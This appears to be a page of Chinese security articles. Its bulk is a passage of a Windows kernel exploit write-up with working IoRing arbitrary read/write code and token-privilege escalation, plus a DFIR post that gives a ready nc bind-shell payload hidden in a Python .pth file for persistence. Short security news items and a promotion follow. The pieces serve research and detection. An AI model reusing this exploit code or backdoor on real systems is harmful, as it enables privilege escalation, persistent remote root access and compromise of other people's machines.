PS Microsoft.PowerShell.Core\FileSystem::\\vmware-host\Shared Folders\Debug> .\DrvExpTemplate.exe    [+] Opened handle to device: 0x00000000000000FC    [+] User buffer allocated: 0x0000025258D70000    [*] sent IOCTL_READMSR    [+] readMSR success.    [+] IA32_LSTAR = 0xFFFFF80469A2B700    [+] g_ntbase = 0xFFFFF80469600000    [+] Created IoRing. handle=0x0000025258B141C0    [*] submitted = 0x1    [*] ioringaddress = 0xFFFFE5063F4F8900    [*] fakeBuffers = 0x0000025258D90000    [*] fakeBuffers[0] = 0x0000025258DA0000    [+] object = 0x0000001AFEFF0000    [+] second object = 0x0000001AFEFFFFD0    [+] ptr = 0x0000001AFF000000    [+] object2 = 0x0000025258DC0000    [+] driverObject = 0x0000025258DD0000    [+] ptr->AttachedDevice = 0x0000025258DC0030    [*] prdx_val = 0x0000025258DC0030    [+] User buffer allocated: 0x0000025258DB0000

从输出中我们可以看到,我们的 _IORING_OBJECT 被分配在内核空间地址 ioringaddress = 0xFFFFE5063F4F8900。我们的 fake_buffers 数组位于用户空间地址 0x0000025258D90000,并且只有一个条目 fake_buffers[0],其中包含用户空间地址 0x0000025258DA0000,该地址指向我们伪造的 _IOP_MC_BUFFER_ENTRY 结构体。

现在让我们用 WinDbg 检查内核中分配的 _IORING_OBJECT。

触发漏洞前的 _IORING_OBJECT

我们可以看到 IORING_OBJECT.RegBuffersCount 字段已成功设置为 1

现在让我们按回车键来触发漏洞,然后在 WinDbg 中重新检查 _IORING_OBJECT。

触发漏洞后的 _IORING_OBJECT

如我们所见,我们成功地用 fake_buffers 的用户空间地址覆盖了 IORING_OBJECT.RegBuffers

现在,每当我们想要读取/写入内核空间地址时,我们只需要设置地址 fake_buffers[0] 处的 _IOP_MC_BUFFER_ENTRY.Address 和 _IOP_MC_BUFFER_ENTRY.Length 字段,然后调用 BuildIoRingReadFile()/BuildIoRingWriteFile()

构建我们的读写原语

现在我们已经成功覆盖了 RegBuffers 字段,我们可以创建两个函数 KRead() 和 KWrite(),使用 IoRing 对象在内核空间进行任意数据的读写

让我们从 KRead() 开始。它接受以下输入参数:

  • TargetAddress:我们想要读取的内核空间地址。

  • pOut:由调用者分配的缓冲区,函数将读取的数据保存在这里。

  • size:从 TargetAddress 读取的字节数。

它执行以下操作:

  1. 将 fake_buffers[0] 处的 IOP_MC_BUFFER_ENTRY 结构体清零,并在 IOP_MC_BUFFER_ENTRY.Address 和 IOP_MC_BUFFER_ENTRY.size 中设置 TargetAddress 和 size

  2. 调用 BuildIoRingWriteFile() 和 SubmitIoRing() 触发 IoRing 从 IOP_MC_BUFFER_ENTRY.Address 读取 IOP_MC_BUFFER_ENTRY.size 字节的数据,并将其写入我们的 OutputPipe

  3. 使用 ReadFile() 从 OutputPipe 读取数据并将其复制到 pOut 中。

    BOOL KRead(PVOID TargetAddress, PBYTE pOut, SIZE_T size) {        DWORD bytesRead = 0;        HRESULT result;        UINT32 submittedEntries;        IORING_CQE cqe;            memset(fake_buffers[0], 0, sizeof(IOP_MC_BUFFER_ENTRY));        fake_buffers[0]->Address = TargetAddress;        fake_buffers[0]->Length = size;        fake_buffers[0]->Type = 0xc02;        fake_buffers[0]->Size = 0x80;        fake_buffers[0]->AccessMode = 1;        fake_buffers[0]->ReferenceCount = 1;            auto requestDataBuffer = IoRingBufferRefFromIndexAndOffset(00);        auto requestDataFile = IoRingHandleRefFromHandle(outputClientPipe);            result = BuildIoRingWriteFile(handle,            requestDataFile,            requestDataBuffer,            size,            0,            FILE_WRITE_FLAGS_NONE,            NULL,            IOSQE_FLAGS_NONE);        if (!SUCCEEDED(result))        {            printf("[-] Failed building IO ring read file structure: 0x%x\n", result);            return FALSE;        }            result = SubmitIoRing(handle, 1, INFINITE, &submittedEntries);        if (!SUCCEEDED(result))        {            printf("[-] Failed submitting IO ring: 0x%x\n", result);            return FALSE;        }        printf("[*] submittedEntries = %d\n", submittedEntries);        //        // Check the completion queue for the actual status code for the operation        //        result = PopIoRingCompletion(handle, &cqe);        if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode)))        {            printf("[-] Failed reading kernel memory 0x%x\n", cqe.ResultCode);            return FALSE;        }            BOOL res = ReadFile(outputPipe,            pOut,            size,            &bytesRead,            NULL);        if (!res)        {            printf("[-] Failed to read from output pipe: 0x%x\n", GetLastError());            return FALSE;        }        printf("[+] Successfully read %d bytes from kernel address 0x%p.\n", bytesRead,TargetAddress);        return res;    }

Kwrite() 函数实际上非常相似。它接收以下输入参数:

  • TargetAddress: 我们想要写入目标内核空间地址

  • pVal: 用于存放我们要写入数据的缓冲区。

  • size: 我们要写入的 pVal 中的字节数。

它执行以下操作:

  1. 将 pVal 中的缓冲区写入我们的 InputPipe

  2. 将 fake_buffers[0] 处的 IOP_MC_BUFFER_ENTRY 结构体清零,并在 IOP_MC_BUFFER_ENTRY.Address 和 IOP_MC_BUFFER_ENTRY.size 中设置 TargetAddress 和 size

  3. 调用 BuildIoRingReadFile() 和 SubmitIoRing() 来触发 IoRing 从我们的 InputPipe 读取 IOP_MC_BUFFER_ENTRY.size 字节并将其写入 IOP_MC_BUFFER_ENTRY.Address

    BOOL KWrite(PVOID TargetAddress, PBYTE pValue, SIZE_T size) {    DWORD bytesWritten = 0;    HRESULT result;    UINT32 submittedEntries;    IORING_CQE cqe;    printf("[*] Writing to %p the following bytes\n", TargetAddress);    printf("[*] pValue = 0x%p\n", pValue);    printf("[*] data: ");    for (int i = 0; i < size; i++) {        printf("0x%x ",pValue[i]);    }    printf("\n");    if (WriteFile(inputPipe, pValue, size, &bytesWritten, NULL) == FALSE)    {        result = GetLastError();        printf("[-] Failed to write into the input pipe: 0x%x\n", result);        return FALSE;    }    printf("[*] bytesWritten = %d\n", bytesWritten);    //    // Setup another buffer entry, with the address of ioring->RegBuffers as the target    // Use the client's handle of the input pipe for the read operation    //    memset(fake_buffers[0], 0, sizeof(IOP_MC_BUFFER_ENTRY));    fake_buffers[0]->Address = TargetAddress;    fake_buffers[0]->Length = size;    fake_buffers[0]->Type = 0xc02;    fake_buffers[0]->Size = 0x80;    fake_buffers[0]->AccessMode = 1;    fake_buffers[0]->ReferenceCount = 1;    auto requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);    auto requestDataFile = IoRingHandleRefFromHandle(inputClientPipe);    printf("[*] performing buildIoRingReadFile\n");    result = BuildIoRingReadFile(handle,        requestDataFile,        requestDataBuffer,        size,        0,        NULL,        IOSQE_FLAGS_NONE);    if (!SUCCEEDED(result))    {        printf("[-] Failed building IO ring read file structure: 0x%x\n", result);        return FALSE;    }    result = SubmitIoRing(handle, 1, INFINITE, &submittedEntries);    if (!SUCCEEDED(result))    {        printf("[-] Failed submitting IO ring: 0x%x\n", result);        return FALSE;    }    printf("[*] submittedEntries = %d\n", submittedEntries);    return TRUE;}

使用我们的读/写原语

现在只需调用 KRead()/KWrite() 来读取/写入任意内核空间地址即可。在这种情况下,我们只是提升权限,尽管正如开始时所述,我们可以做更多事情。

使用这个库,一旦获得内核读写原语,你也可以调用任意内核函数(不过如果启用了kCET就无法工作)。

因此,让我们创建一个 IncrementPrivileges() 函数,使用 KRead()/KWrite() 来读取和写入当前进程的令牌权限。

VOID IncrementPrivileges() {        HANDLE TokenHandle = NULL;        PVOID tokenAddr = NULL;        if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &TokenHandle))            tokenAddr = GetKAddrFromHandle(TokenHandle);        printf("[+] tokenHandle = 0x%p\n", TokenHandle);        printf("[+] tokenAddr = 0x%p\n", tokenAddr);            _SEP_TOKEN_PRIVILEGES original_privs = { 0 };            printf("[*] Reading original token privileges...\n");            KRead((PVOID)((DWORD64)tokenAddr + 0x40), (PBYTE)&original_privs, sizeof(original_privs));        printf("[+] original_privs.Present = 0x%llx\n", original_privs.Present);        printf("[+] original_privs.Enabled = 0x%llx\n", original_privs.Enabled);        printf("[+] original_privs.EnabledByDefault = 0x%llx\n", original_privs.EnabledByDefault);        //KRead64((PVOID)((DWORD64)tokenAddr + 0x40), (PDWORD64)&tokenAddr);            _SEP_TOKEN_PRIVILEGES privs = { 0 };        privs.Enabled = 0x0000001ff2ffffbc;        privs.Present = 0x0000001ff2ffffbc;        privs.EnabledByDefault = original_privs.EnabledByDefault;            printf("[*] Writing token privileges...\n");    #ifdef _DEBUG        getchar();    #endif        KWrite((PVOID)((DWORD64)tokenAddr + 0x40), (PBYTE) & privs, sizeof(privs));            printf("[*] Reading modified token privileges...\n");        _SEP_TOKEN_PRIVILEGES modified_privs = { 0 };        KRead((PVOID)((DWORD64)tokenAddr + 0x40), (PBYTE)&modified_privs, sizeof(modified_privs));        printf("[+] modified_privs.Present = 0x%llx\n", modified_privs.Present);        printf("[+] modified_privs.Enabled = 0x%llx\n", modified_privs.Enabled);        printf("[+] modified_privs.EnabledByDefault = 0x%llx\n", modified_privs.EnabledByDefault);        return;    }

清理工作

正如这篇博客文章所述,当使用 I/O 环时,我们必须将_IORING_OBJECT.RegBuffers 和_IORING_OBJECT.RegBuffersCount 重置为零。此外,由于我们预先注册了一个缓冲区,建议减少进程的引用计数。我们将在_cleanup()_函数中实现所有这些功能。

我们首先获取当前进程句柄hProc,然后通过调用_GetKAddrFromHandle()_获取对应的_EPROCESS结构体的内核地址eproc。最后,我们使用_KRead()_和_KWrite()_来更新位于eproc-0x30的引用计数(_EPROCESS 前面总是有一个_OBJECT_HEADER结构体,该结构体在PointerCount字段中跟踪引用计数)。

之后,我们只需要执行最后一次_KWrite()_,将_IORING_OBJECT.RegBuffers 和_IORING_OBJECT.RegBuffersCount 设置为零即可。

VOID cleanup() {            auto hProc = OpenProcess(MAXIMUM_ALLOWED, FALSE, GetCurrentProcessId());            if (hProc != NULL)        {            auto eproc = GetKAddrFromHandle(hProc);            printf("[+] eproc = 0x%p\n", eproc);            DWORD64 refCount = NULL;            if (KRead((PVOID)((DWORD64)eproc - 0x30), (PBYTE)&refCount, sizeof(DWORD64))) {                printf("[+] refCount = 0x%llx\n", refCount);                if (refCount > 0) {                    printf("[*] refCount > 0\n");                    refCount--;                    if (KWrite((PVOID)((DWORD64)eproc - 0x30), (PBYTE)&refCount, sizeof(DWORD64))) {                        printf("[+] refCount decremented\n");                    }                    else {                        printf("[-] Failed to decrement refCount\n");                    }                }                else {                    printf("[*] refCount <= 0\n");                }            }            else {                printf("[-] Failed to read refCount\n");            }        }        else {            printf("[-] Failed to open handle to current process.\n");        }            auto towrite = malloc(16);        memset(towrite, 0x016);        printf("[*] Cleaning up...\n");        printf("[*] Setting RegBuffersCount and RegBuffers to 0.\n");    #ifdef _DEBUG        getchar();    #endif        if (!KWrite((PVOID)((DWORD64)ioringaddress + 0xb0), (PBYTE)towrite,16)) {            printf("[-] cleanup failed during Kwrite64\n");        }        puioring->RegBufferArray = NULL;        puioring->BufferArraySize = 0;        if (g_device != INVALID_HANDLE_VALUE) {            CloseHandle(g_device);        }        if (puioring != NULL) {            CloseIoRing((HIORING)puioring);        }    }

启动漏洞利用

现在我们可以运行漏洞利用程序,并注意到我们成功地绕过 kCFG 提升了权限!

运行修改后的漏洞利用程序并获得本地权限提升

完整的漏洞利用代码可在GitHub 仓库的vbs 分支中获取。

注意:在代码中我还添加了如何使用 gadget 来仅提升令牌权限的方法。只需取消注释//#define TOKENPRIV 1这一行即可测试。

结论

在本文中,我简要介绍了HVCI 和 kCFG 安全缓解措施以及它们对我们原始漏洞利用的影响。之后,我描述了一种绕过 kCFG的方法,并展示了如何使用 I/O Ring 技术在内核空间获得任意读写原语。最后,我展示了如何构建一个利用这种读写原语来提升当前进程令牌权限的漏洞利用程序。

致谢

  • 感谢Connor McGarr发表关于 HVCI 和 Windows 内核其他安全缓解措施的博文。

  • 感谢Paolo Stagno@tykawaii98发表关于如何绕过 kCFG 的博文以及发现这个 gadget。

  • 感谢Yarden Shafir发现并解释了用于获取任意读写的 I/O Ring 技术。


Resources

Hyperlink

Info

https://security.humanativaspa.it/from-arbitrary-pointer-dereference-to-arbitrary-read-write-in-latest-windows-11/

MrAle_98

阅读原文

跳转微信打开

Python .pth 文件作为后门持久化机制的分析

2025年1月15日 22:40

dfir 2025-01-15 22:40 日本

Analysis of Python's .pth files as a persistence mechanism


引言

update.py 脚本的目的是在以下路径部署后门:/usr/lib/python3.6/site-packages/system.pth。这个用 Python 编写的后门从一个导入语句开始,其主要内容以 base64 编码的 blob 形式存储。.pth 扩展名用于向 Python 模块添加额外的路径。从 Python 3.5 版本开始,在.pth 文件中以"import"开头 (后跟空格或制表符) 的行会被执行,这在官方文档中有所描述。因此,通过创建这个文件,每当设备上的任何其他代码尝试导入该模块时,恶意代码就会被执行。

来源: Volexity, GlobalProtect 未经身份验证的远程代码执行漏洞 (CVE-2024-3400) 的零日利用

总结一下:**从 Python 3.5 开始,在.pth 文件中以"import"开头 (后跟空格或制表符) 的行会被执行。这使得此类文件中的恶意代码能够在设备上任何代码导入模块时运行。**在这篇博文中,我们将深入研究这种后门技术的细节,检查其实现方式并调查它是否会留下任何痕迹。

路径配置文件

路径配置文件(.pth) 为 Python 提供了一种扩展其模块搜索路径的方法,使其能够包含 Python 查找模块和包的额外目录。

当.pth 文件放置在 site-packages 或 dist-packages 目录 (我们稍后会介绍) 中时,Python 在启动时会处理这些文件。.pth 文件中的每一行可以向模块搜索路径添加目录,或者在特定条件下执行 Python 代码,正如 Volexity 所强调的那样。特别是,以 import 开头 (后跟空格或制表符) 的行会被执行。利用.pth 文件是在被入侵系统上持久化的一种创新且隐蔽的方法,因为大多数数字取证和事件响应 (DFIR) 工具和枚举脚本通常不会明确检查额外的 Python 路径配置文件。

恶意文件分析

Volexity 发现的 update.py 文件 (MD5: 0c1554888ce9ed0da1583dbdf7b31651) 包含以下 Python 代码。完整文件可在 VirusTotal 上获取:

def protect():    import os,signal    systempth = "/usr/lib/python3.6/site-packages/system.pth"    content = open(systempth).read()    # os.unlink(__file__)    def stop(sig,frame):        if not os.path.exists(systempth):            with open(systempth,"w") as f:                f.write(content)

该后门确保文件system.pth不会被删除。虽然 Volexity 没有分享这个文件的具体内容,但我们可以在实验室中使用类似的.pth文件重现代码执行过程。

在上面的 Python 代码中,目录/usr/lib/python3.6/site-packages/被用来存储恶意的.pth文件。但是,这个路径可能会根据系统配置而变化。那么,还有哪些其他选项可用呢?根据 Python文档所述:site 模块还提供了一种从命令行获取用户目录的方法。

root@pth:~# python3 -m sitesys.path = [    '/root',    '/usr/lib/python312.zip',    '/usr/lib/python3.12',    '/usr/lib/python3.12/lib-dynload',    '/usr/local/lib/python3.12/dist-packages',    '/usr/lib/python3/dist-packages',]USER_BASE: '/root/.local' (doesn't exist)USER_SITE: '/root/.local/lib/python3.12/site-packages' (doesn't exist)ENABLE_USER_SITETrue

在我们的 Ubuntu 服务器上,虽然没有site-packages文件夹,但我们确实有一个dist-packages目录。让我们来探索一下是否也可以在这里建立一个隐蔽的持久化机制。

漏洞利用

我们使用基本的 Netcat(nc) 绑定 shell 作为 payload。一旦执行,它将向互联网开放 45555 端口,只要有人在我们被入侵的服务器上运行 Python 代码就能获得访问权限。

root@pth:~# echo 'nohup bash -c "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 45555 > /tmp/f" &' | base64 -w0
bm9odXAgY[..]ZiIgJgo=

Base64 编码的命令被嵌入到以下脚本中,该脚本将被写入文件/usr/local/lib/python3.12/dist-packages/malmoeb.pth。需要注意的是,.pth文件必须以关键字import;开头,否则 Python 将不会执行其中包含的代码。

root@pth:~# echo "import os; os.system('echo "bbm9odXAgY[..]ZiIgJgo=" |base64 -d|bash')" > /usr/local/lib/python3.12/dist-packages/malmoeb.pth

这是一个有效的持久化技术,因为只需要简单执行 Python 代码就能触发它:

root@pth:~# python3 -c "print('dfir.ch')"dfir.ch

现在我们的后门已经打开,可以成功连接到被入侵的服务器:

malmoeb@home ~ % nc 164.90.220.147 45555# iduid=0(root) gid=0(root) groups=0(root)

太好了!如果你仔细观察上面 python3 -m site 的输出,你可能已经注意到在 /root 目录下缺少 site-packages 文件夹。让我们来探索这种方法:

root@pth:~# mkdir -/root/.local/lib/python3.12/site-packagesroot@pth:~# mv malmoeb.pth /root/.local/lib/python3.12/site-packagesroot@pth:~# python3 -"print('dfir.ch')"

没错,我们又一次获得了 shell。

接下来呢?

如果在被入侵的 Linux 系统上存在 EDR,进程链 (Python -> Bash -> nc) 很可能会触发警报,甚至仅仅是 Python -> Bash 就可能引起怀疑。此外,密切监控新创建的.pth文件可以帮助检测这些持久化机制。然而,默认的安全解决方案不太可能识别出这种后门或.pth文件中代码的执行。

与隐藏的.pth文件相关的风险已经在cpython项目的问题追踪器中讨论过 (Issue #113659)。

隐藏 pth 文件的安全风险

这个问题的严重性并不是很大,因为它需要用户交互才能激活。但它确实增加了风险。我认为我们应该禁止处理隐藏的 pth 文件。

$PYTHONPATH - 深入探索

Itzik Kotler SafeBreach 的联合创始人兼 CTO,发表了我在你的$PYTHONPATH中,后门你的Python程序(演示文稿可在这里获取)。

在他的演讲中,Itzik 演示了如何在不改变模块原有功能的情况下,向任何 Python 模块添加额外的代码。他使用PYTHONPATH环境变量重定向到修改后的模块,这在我看来,为这里讨论的.pth文件技术增添了一个有趣的层面。

在系统被入侵后,Python 模块可能被注入恶意代码,或者PYTHONPATH环境变量可能被劫持。有多少安全团队能真正检测到这种行为呢?

*参考

[1]

Volexity, GlobalProtect 未经身份验证的远程代码执行漏洞 (CVE-2024-3400) 的零日利用: https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

[2]

文档: https://docs.python.org/3.8/library/site.html

[3]

Issue #113659: https://github.com/python/cpython/issues/113659

[4]

Itzik Kotler: https://www.linkedin.com/in/itzikk/

[5]

这里: https://www.ikotler.org/docs/InYourPythonPath.pdf


阅读原文

跳转微信打开

六部门印发《关于完善数据流通安全治理 更好促进数据要素市场化价值化的实施方案》;TikTok在美关停在即,特朗普有意挽救 |牛览

2025年1月16日 16:54

2025-01-16 16:54 北京

牛览网络安全全球资讯,洞察行业发展前沿态势!

点击蓝字·关注我们 aqniu

新闻速览


•六部门印发《关于完善数据流通安全治理 更好促进数据要素市场化价值化的实施方案》

•TikTok在美关停在即,特朗普有意挽救

•CISA发布人工智能网络安全协作手册

•勒索软件新伎俩曝光:90分钟内用1165封恶意邮件狂轰滥炸

•Palo Alto Networks工具曝重大漏洞,可导致防火墙明文密码泄露

•SimpleHelp曝存在三大安全缺陷,可让黑客能远程执行代码

•SAP发布安全补丁,修复多个高风险漏洞

•天融信发布2024年业绩预告,扭亏为盈!


特别关注


六部门印发《关于完善数据流通安全治理 更好促进数据要素市场化价值化的实施方案》


为贯彻落实党中央、国务院决策部署,建立健全数据流通安全治理机制,提升数据安全治理能力,促进数据要素合规高效流通利用,近日,国家发展改革委、国家数据局、中央网信办、工业和信息化部、公安部、市场监管总局联合印发了《关于完善数据流通安全治理 更好促进数据要素市场化价值化的实施方案》(以下简称《方案》)。


《方案》以习近平新时代中国特色社会主义思想为指导,深入落实党的二十大和二十届二中、三中全会精神,全面贯彻总体国家安全观,统筹数据高质量发展和高水平安全,坚持系统思维、底线思维,将安全贯穿数据供给、流通、使用全过程,以成本最小化实现安全最优化,充分释放数据价值,促进数据开发利用。《方案》从明晰企业数据流通安全规则、加强公共数据流通安全管理、强化个人数据流通保障、完善数据流通安全责任界定机制、加强数据流通安全技术应用、丰富数据流通安全服务供给、防范数据滥用风险等七个方面作出具体部署。


下一步,国家发展改革委、国家数据局将加强统筹协调,会同有关部门,完善细化规则,强化部门协同,开展试点试验,适时发布数据流通安全治理典型案例,充分发挥示范作用,营造创新环境,促进数据安全有序流通。


原文链接:

https://mp.weixin.qq.com/s/they_1eIV-WaemIJf6Ak2g


热点观察


TikTok在美关停在即,特朗普有意挽救


随着TikTok在美国被禁的最后期限临近,特朗普政府正在权衡一项可能延迟该应用被禁的计划,为新政府争取更多时间与美国买家达成协议,从而挽救这款备受欢迎的短视频应用。根据美国最高法院即将作出的裁决,如果无法将该应用出售给美国买家,TikTok被禁将于1月19日(周日)生效。据路透社和The Information在1月15日的报道,该应用正准备在周日彻底关闭,让用户有机会收集个人数据,同时限制对视频的访问。


据知情人士透露,特朗普有意签署一项行政命令,允许TikTok的1.7亿美国用户在一定期限内继续使用该应用,同时为政府确定潜在买家留出时间。此前,特朗普曾支持禁止TikTok,但最近表示希望保留这款应用,甚至曾发布TikTok视频称自己想"拯救TikTok"。上月,他还请求最高法院暂缓执行相关法律,以便新政府寻求保留TikTok在美国市场的解决方案。


特朗普最终是否会采取行动仍未可知。由于禁令将在特朗普卸任前一天生效,他在1月20日签署行政命令已无法阻止TikTok被禁。除非拜登总统先行出手。TikTok拒绝就特朗普或拜登可能采取行动挽救该应用置评。


原文链接:

https://edition.cnn.com/2025/01/15/tech/trump-tiktok-ban/index.html


CISA发布人工智能网络安全协作手册


美国网络安全与基础设施安全局(CISA)于1月15日发布了"联合网络防御协作组织(JCDC)人工智能网络安全协作手册"。该手册是CISA与联邦、国际和私营部门合作伙伴通过JCDC共同制定的, 旨在促进人工智能(AI)社区之间的自愿信息共享,加强集体网络防御能力,应对不断涌现的新威胁。


随着AI技术的快速采用,新的漏洞和风险将持续涌现,重塑AI驱动系统的威胁环境。这本手册将作为一个活文档,促进政府、行业和国际伙伴之间的协作,并适应不断演变的AI安全环境的挑战。本手册为包括AI提供商、开发者和采用者在内的AI社区提供关于如何自愿分享可操作的事件信息的重要指导,并阐述了主动信息共享如何能够增强运营协作,提高AI系统的恢复能力。


CISA局长珍·伊斯特利表透露,这本手册汲取了约150名来自政府、行业和国际伙伴的AI专家在两次动态桌面演练中提供的见解和专业知识。该手册与CISA的AI路线图和2024年JCDC优先事项保持一致。据了解,该手册将定期更新,以应对AI驱动的不断演变的挑战。


原文链接:

https://www.cisa.gov/news-events/news/cisa-jcdc-government-and-industry-partners-publish-ai-cybersecurity-collaboration-playbook


网络攻击


勒索软件新伎俩曝光:90分钟内用1165封恶意邮件狂轰滥炸


近日,一起模仿臭名昭著的Black Basta勒索软件团伙手法的网络攻击袭击了SlashNext公司的一个客户。在短短90分钟内,22个用户收件箱遭到1165封恶意邮件的狂轰滥击,试图诱使用户点击恶意链接。SlashNext的综合云端电子邮件安全(ICES)系统迅速识别出了这些危险信号。


SlashNext对这一网络钓鱼浪潮的调查发现,攻击者使用了五种主要策略:伪装成WordPress和Shopify等流行平台、使用看似合法的域名发送虚假的账户创建和订阅邮件、利用无害的域名、在主题行中使用不寻常的字符或细微变化、针对不同的用户角色以增加关注度。


攻击者首先用大量看似合法的邮件,如时事通讯或付款收据淹没收件箱。这些邮件使用"账户确认"和"订阅通知"等主题行,诱使用户点击恶意链接,制造紧迫感。攻击者还采用社会工程学策略,融入外语或奇怪字符,以绕过基本的关键词过滤。这种初始的狂轰滥击造成混乱,使真实邮件和恶意邮件难以分辨。当用户应接不暇时,攻击者就会通过电话或短信伪装成IT支持人员,诱导用户安装远程访问软件,如TeamViewer或AnyDesk。一旦这些软件被安装,攻击者就能在系统中取得立足点,从而在网络上传播恶意软件或危及敏感数据。


了解更多勒索攻击防护相关信息,请关注安全牛最新报告:

《勒索攻击防护技术应用指南(2024版)》报告发布


原文链接:

https://hackread.com/black-basta-cyberattack-hits-inboxes-with-1165-emails/


安全漏洞


Palo Alto Networks工具曝重大漏洞,可导致防火墙明文密码泄露


Palo Alto Networks近日披露了其Expedition迁移工具中存在的多个严重安全漏洞,其中一个令人关注的操作系统命令注入漏洞(CVE-2025-0107)可让攻击者执行任意命令并访问敏感的防火墙凭据。


Expedition是一款免费实用程序,旨在协助组织从其他供应商迁移到Palo Alto Networks的下一代防火墙(NGFW)平台。该命令注入漏洞允许经过身份验证的攻击者以www-data用户身份运行任意操作系统命令,可能会泄露运行PAN-OS软件的防火墙的用户名、明文密码、设备配置和API密钥。


这个漏洞是在Expedition中发现的一系列安全缺陷中的一部分。此前已披露的其他漏洞包括SQL注入(CVE-2025-0103)、反射型跨站脚本(CVE-2025-0104)、任意文件删除(CVE-2025-0105)和通配符扩展枚举(CVE-2025-0106)。虽然这些漏洞不会直接影响帕其防火墙、Panorama设备、Prisma Access部署或云NGFW,但它们严重危及运行有漏洞版本Expedition的系统的安全性。


Palo Alto Networks已在1.2.100版本和1.2.101版本中解决了这些安全问题。为减轻这些风险, Palo Alto Networks强烈建议组织:升级到Expedition 1.2.101或更高版本;仅允许授权用户、主机和网络访问;在不主动使用时完全禁用Expedition。


原文链接:

https://cybersecuritynews.com/palo-alto-networks-expedition-firewall-passwords/#google_vignette


SimpleHelp曝存在三大安全缺陷,可让黑客能远程执行代码


研究人员近日披露,广泛使用的远程支持软件SimpleHelp存在三个严重安全缺陷,带来未经授权的文件访问、权限提升和远程代码执行等严重风险,可能让攻击者能够控制服务器和客户端计算机。其中:


  • 第一个为未经身份验证的路径遍历缺陷,允许未经身份验证的攻击者从SimpleHelp服务器下载任意文件。存储在serverconfig.xml文件中的敏感数据,如哈希管理员密码、LDAP凭据、API密钥和多因素身份验证(MFA)种子可被访问。

  • 第二个为任意文件上传导致远程代码执行缺陷,拥有管理员权限的攻击者(或利用权限提升)可以将文件上传到服务器主机的任何位置。

  • 第三个是权限提升缺陷,由于某些管理功能缺少后端授权检查,低权限技术人员账户可以通过构造特定网络调用来提升其权限至管理员状态。一旦权限提升,攻击者就可以利用第二个缺陷来完全控制SimpleHelp服务器。


SimpleHelp已发布补丁来修复这些问题,并敦促用户立即将系统升级到5.5.8、5.4.10或5.3.9版本。


原文链接:

https://cybersecuritynews.com/simplehelp-remote-support-software-vulnerability/


SAP发布安全补丁,修复多个高风险漏洞


近日,SAP在其1月份安全补丁日发布了多个安全更新,用于修补12个被评为中等和高风险的额外问题。其中两个严重漏洞影响NetWeaver网络应用程序服务器,可能会被利用来提升权限并访问受限信息。


本月SAP解决的四个最严重的安全问题如下:

  • CVE-2025-0070(评分为9.9):SAP NetWeaver应用程序服务器ABAP和ABAP平台中的不当身份验证允许经过身份验证的攻击者利用不当的身份验证检查,从而导致权限升级,严重影响机密性、完整性和可用性。

  • CVE-2025-0066(评分为9.9):SAP NetWeaver AS ABAP和ABAP平台(Internet通信框架)中的信息披露漏洞源于访问控制薄弱,使攻击者能够访问受限信息,从而严重危及机密性、完整性和可用性。

  • CVE-2025-0063(评分为8.8):SAP NetWeaver AS ABAP和ABAP平台中的SQL注入漏洞源于缺乏对某些RFC函数模块的授权检查。这允许具有基本权限的攻击者破坏Informix数据库,导致完全丧失机密性、完整性和可用性。

  • CVE-2025-0061(评分为8.7):SAP BusinessObjects商业智能平台中的多个漏洞允许未经身份验证的攻击者由于信息披露问题而通过网络执行会话劫持。这使攻击者能够访问和修改所有应用程序数据。


SAP在大型企业管理业务运营和客户关系方面发挥着关键作用。SAP 强烈建议客户应用最新的可用补丁。


原文链接:

https://www.bleepingcomputer.com/news/security/sap-fixes-critical-vulnerabilities-in-netweaver-application-servers/


产业动态


天融信发布2024年业绩预告,扭亏为盈!


1月15日,天融信(股票代码 002212)发布2024年度业绩预告。报告显示,天融信在2024年实现扭亏为盈,净利润和扣非净利润都转负为正。其中,预计营业收入为27亿元至29亿元,归属于上市公司股东的净利润为6500万元至9000万元,扣除非经常性损益后的净利润为4000万元至6000万元 ,基本每股收益预计为0.06元/股至0.08元/股。


报告显示,上年同期公司归属于上市公司股东的净利润亏损原因主要系计提商誉减值准备 所致。报告期内,公司持续推进提质增效战略,收入质量提升;公司控费有效,期间费用同比下降,尤其是在新方向和新技术的前期布局基本完成,研发费用同比下降。


原文链接:

http://www.cninfo.com.cn/new/disclosure/detail?orgId=9900004142&announcementId=1222342005&announcementTime=2025-01-16



合作电话:18311333376

合作微信:aqniu001

投稿邮箱:[email protected]


阅读原文

跳转微信打开

精彩汇集,业务宝典:《2024安全牛百篇文章精选集》发布

2025年1月16日 16:54

2025-01-16 16:54 北京

我们以安全牛公众号上千篇安全专业文章为基础,精选出100篇优质作品。

网络安全是一个知识密集型行业,对每一个行业从业者来说,都需要通过不断学习,及时获取国内外最新的网络安全动态,了解先进安全技术发展趋势。

为了回馈广大读者一直以来对安全牛的关注和支持,我们在2025年新年伊始,以安全牛公众号上千篇安全专业文章为基础,精选出100篇优质作品,内容涵盖安全牛研究、政策与标准、产业观察、安全事件、产品与技术和牛人访谈等,希望能够为您新一年的工作提供参考和帮助。



按照往年惯例,安全牛今年也会在春节假期之后,推出2024年度《安全牛百篇文章精选集》的纸质版书籍。由于印刷数量有限,感兴趣的读者请扫描下方二维码,在安全牛商城提前预约购买。

阅读原文

跳转微信打开

聚焦银狐丨探究病毒肆虐传播背后隐藏的迭代玄机

2025年1月16日 11:41

原创 火绒安全 2025-01-16 11:41 北京

自2021年起,“银狐”团伙在网络世界中悄然崛起。作为活跃在黑色产业链中的犯罪团伙,其制作的“银狐”木马病毒不断演变升级,凭借高度一致的技术手段与攻击策略,对企业和个人造成持续性威胁。本文将梳理银狐木马的迭代过程和传播方式,并进行溯源分析。

随着数字化进程的加速,网络已经深度融入社会各层面,在极大地促进了信息交流与经济发展的同时,也滋生了大量网络犯罪活动,为网络安全领域带来了严峻挑战。自2021年起,“银狐”团伙在网络世界中悄然崛起。作为活跃在黑色产业链中的犯罪团伙,其制作的“银狐”木马病毒不断演变升级,凭借高度一致的技术手段与攻击策略,对企业和个人造成持续性威胁。本文将梳理“银狐”木马的迭代过程和传播方式,并进行溯源分析,期望大家能够深入了解此类病毒,提高警惕,防止遭受攻击。

